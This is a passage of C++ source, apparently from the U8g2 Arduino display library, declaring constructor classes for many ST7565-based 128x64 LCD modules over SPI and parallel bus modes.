*rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LX12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LX12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LX12864_2_6800 : public U8G2 { public: U8G2_ST7565_LX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_2_8080 : public U8G2 { public: U8G2_ST7565_LX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_2_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_2_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_2_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12864_2_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_2_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_JLX12864_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_JLX12864_2_6800 : public U8G2 { public: U8G2_ST7565_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_2_8080 : public U8G2 { public: U8G2_ST7565_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM128_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM128_F_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_F_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6063_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6063_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6063_F_6800 : public U8G2 { public: U8G2_ST7565_LM6063_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_F_8080 : public U8G2 { public: U8G2_ST7565_LM6063_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_64128N_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_64128N_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_64128N_F_6800 : public U8G2 { public: U8G2_ST7565_64128N_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_F_8080 : public U8G2 { public: U8G2_ST7565_64128N_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); 